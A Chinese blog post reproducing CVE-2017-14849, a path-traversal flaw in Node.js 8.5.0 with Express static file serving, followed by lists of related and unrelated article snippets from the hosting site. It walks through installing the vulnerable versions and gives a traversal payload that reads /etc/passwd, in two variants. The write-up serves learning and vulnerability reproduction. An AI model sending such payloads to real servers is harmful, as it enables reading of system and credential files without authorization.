0x00 前言

早上看Sec-news安全文摘的时候,发现腾讯安全应急响应中心发表了一篇文章,Node.js CVE-2017-14849 漏洞分析(https://security.tencent.com/index.php/blog/msg/121),然后想着复现,学习学习,就有了这篇文章。

0x01 漏洞简介

CVE(http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14849)上面的描述是这样的:

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was incompatible with the pathname validation used by unspecified community modules.

换成我们看的懂的意思就是node.js 8.5.0 到8.6.0 之间的版本会造成目录穿越漏洞,读取任意文件,而漏洞的原因是因为对”..”的处理和另外的模块不兼容。

打个比喻就是有一个人开发这个模块,另外的一个人开发另外个模块,大家对于这个东西的处理不一样,从而导致出现了漏洞。而这里的模块就是node.js 和 express。

影响版本:

Node.js 8.5.0 + Express 3.19.0-3.21.2
Node.js 8.5.0 + Express 4.11.0-4.15.5

0x02 node.js是什么

Node.js® 是一个基于 Chrome V8 引擎的 JavaScript 运行时。 Node.js 使用高效、轻量级的事件驱动、非阻塞 I/O 模型。它的包生态系统,npm,是目前世界上最大的开源库生态系统。(抄从官网)

0x03 express是什么

Express是基于 Node.js 平台,快速、开放、极简的 web 开发框架。(同样抄从官网)

0x04 如何复现

下面采用腾讯云开发者实验室搭建环境进行快速复现。

复现准备:

0. 腾讯云开发者实验室的云主机一台 (我这里用的是《基于 Ubuntu 搭建微信小程序服务》的实验主机 ubuntu 16.04 64位)

1. node.js 8.5.0 (https://nodejs.org/download/release/v8.5.0/)

2. express-4.15.5 (https://github.com/expressjs/express/releases)

3. burpsuite

Step 1安装node.js 8.5.0

下载node.js 8.5.0安装包

wget https://nodejs.org/download/release/v8.5.0/node-v8.5.0-linux-x64.tar.gz

解压安装包

tar -zxvf node-v8.5.0-linux-x64.tar.gz

移到通用软件安装目录/opt

mv node-v8.5.0-linux-x64 /opt/

安装 npm 和 node 命令到系统命令

sudo ln -s /opt/node-v8.5.0-linux-x64 /bin/node /usr/local/bin/node
sudo ln -s /opt/node-v8.5.0-linux-x64 /bin/npm /usr/local/bin/npm

验证一下:

node -v

输出版本号则表示配置成功

Step2 安装express-4.15.5

下载express-4.15.5

wget https://github.com/expressjs/express/archive/4.15.5.tar.gz

解压压缩包

tar -zxvf  4.15.5.tar.gz

进入express目录下,安装express

cd express-4.15.5 && npm install 

进入到expresss-4.15.5/examples/static-files目录里

node index.js

Step 3 发送payload验证

Payload: /../../../a/../../../../etc/passwd

0x05 漏洞原理分析

为什么payload会是这样的呢?请参考腾讯应急响应中心的那篇文章(https://security.tencent.com/index.php/blog/msg/121),写的很言简意赅。

(还不是因为自己菜,分析不出。。。。)

注意该漏洞是建立在文件夹通过express.static 来托管的情况下,因为在这种情况下才会使用normalize函数进行path标准化。(发现来源于p神的分析)

比如代码这样写:

app.use(express.static(path.join(__dirname, 'static')));

那么payload应该是

/../../../a/../../../../etc/passwd

但代码如果是这样写的话:

app.use('/static',express.static(path.join(__dirname, 'static')));

那么payload应该为:

/static/../../../a/../../../../etc/passwd

0x06 后记

复现很简单,但分析原理很难。至少我现在还没弄明白。等我弄明白了,再写写怎么分析与跟踪吧。

其实这里有一个挺有意思的点,那就是一些重大漏洞的追踪问题,关于这个漏洞官方早在九月份就已经发布了说明,而这个问题是在最近才得到重视,很明显就算是腾讯也没有第一时间去跟踪CVE的更新列表。

而在腾讯发了这篇文章之后,P神把复现环境给弄到了vulhub(https://github.com/vulhub/vulhub/tree/master/node/CVE-2017-14849),速度之快令人惊奇。然后再代码审计里面发了,在微博里面发了。再接着整个安全圈其实都知道了。

然后这里我们得出了一个结论,如果想要得到第一手漏洞预警与学习,应该时刻关注着CVE列表,努力做第一个吃螃蟹的人。

Node.js CVE-2017-1484复现(详细步骤)的更多相关文章

  1. 如何发布一个自定义Node.js模块到NPM(详细步骤)

    咱们闲话不多说,直接开始! 由于我从没有使用过MAC,所以我不保证本文中介绍的操作与MAC一致. 文章开始我先假定各位已经在window全局安装了Node.js,下面开始进行详细步骤介绍: 本文本着, ...

  2. 如何发布一个自定义Node.js模块到NPM(详细步骤,附Git使用方法)

    咱们闲话不多说,直接开始! 由于我从没有使用过MAC,所以我不保证本文中介绍的操作与MAC一致. 文章开始我先假定各位已经在window全局安装了Node.js,下面开始进行详细步骤介绍: 本文本着, ...

  3. 记录一次用宝塔部署微信小程序Node.js后端接口代码的详细过程

    一直忙着写毕设,上一次写博客还是元旦,大半年过去了.... 后面会不断分享各种新项目的源码与技术.欢迎关注一起学习哈! 记录一次部署微信小程序Node.js后端接口代码的详细过程,使用宝塔来部署. 我 ...

  4. node.js,express入门看详细篇

    先最简单的代码 安装 npm install express app.js 代码内容 const express = require('express') const app = express() ...

  5. Node.js+MySQL管理工作的详细信息所遇到的问题

    问题陈述: Error: ER_TRUNCATED_WRONG_VALUE_FOR_FIELD: Incorrect string value: '\xE8\xB4\xAD\xE7\x89\xA9' ...

  6. 【转载】在Centos系统上采用二进制文件部署Node.js环境

    Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境,用来方便地搭建快速的易于扩展的网络应用.Node.js 使用了一个事件驱动.非阻塞式 I/O 的模型,使其轻量又 ...

  7. 如何系统地学习Node.js?

    转载自知乎:http://www.zhihu.com/question/21567720 ------------------------------------------------------- ...

  8. 实用的 Node.js 教程,工具和资源

    这里分享一批实用的实用的 Node.js 教程,工具和资源. Node.js是一个建立在Chrome之上的JavaScript运行时平台,可方便地构建快速,可扩展的网络应用程序.Node.js使用事件 ...

  9. Node.js CVE-2017-14849复现(详细步骤)

    0x00 前言 早上看Sec-news安全文摘的时候,发现腾讯安全应急响应中心发表了一篇文章,Node.js CVE-2017-14849 漏洞分析(https://security.tencent. ...

随机推荐

  1. Dynamic Inversions II 逆序数的性质 树状数组求逆序数

    Dynamic Inversions II Time Limit: 6000/3000MS (Java/Others) Memory Limit: 128000/64000KB (Java/Other ...

  2. 关于Class对象、类加载机制、虚拟机运行时的内存布局的全面解析和推测

    简介: 本文是对Java的类加载机制,Class对象,反射原理等相关概念的理解.验证和Java虚拟机中内存布局的一些推测.本文重点讲述了如何理解Class对象以及Class对象的作用. 欢迎探讨,如有 ...

  3. 2017值得一瞥的JavaScript相关技术趋势

    2017值得一瞥的JavaScript相关技术趋势从属于笔者的Web 前端入门与工程实践,推荐阅读2016-我的前端之路:工具化与工程化获得更多关于2016年前端总结.本文主要内容翻译自,笔者对于每个 ...

  4. 完整Log4Net配置信息

    <?xml version="1.0" encoding="utf-8" ?> <configuration> <configSe ...

  5. uva11584

    将课本上所述方法实现即可,代码如下: /* * Author: Bingo * Created Time: 2015/1/25 23:49:49 * File Name: uva11584.cpp * ...

  6. GTK主题黑边问题

    Linux就是这样,上游一出点什么奇怪的变动,下游程序就要受影响..最近滚了一下后,不知道mesa还是xf86-intel-video哪个玩了什么新花样,所有gtk应用[主要是gnome组件]全部自带 ...

  7. Python实现正交实验法自动设计测试用例

    1.简介 正交试验法是研究多因素.多水平的一种试验法,它是利用正交表来对试验进行设计,通过少数的试验替代全面试验,根据正交表的正交性从全面试验中挑选适量的.有代表性的点进行试验,这些有代表性的点具备了 ...

  8. Java反射机制(Reflect)解析

    一.导读 反射的概念是由Smith在1982年首次提出的,主要是指程序可以访问.检测和修改它本身状态或行为的一种能力.这一概念的提出很快引发了计算机科学领域关于应用反射性的研究.它首先被程序语言的设计 ...

  9. 转 node.js里面的http模块深入理解

    问题1:HTTP服务继承了TCP服务模型,是从connection为单位的服务到以request为单位的服务的封装,那么request事件何时触发? 注意:在开启keepalive后,一个TCP会话可 ...

  10. Python列表的增删改查排嵌套特殊输出格式

    Python列表的增删改查排嵌套特殊输出格式 一.列表的样子: a = ['q' , 'w' , 'e ', 'r','t'] a为列表名,[ ]为列表内容,' '为列表内的元素,'q'为a[0] 二 ...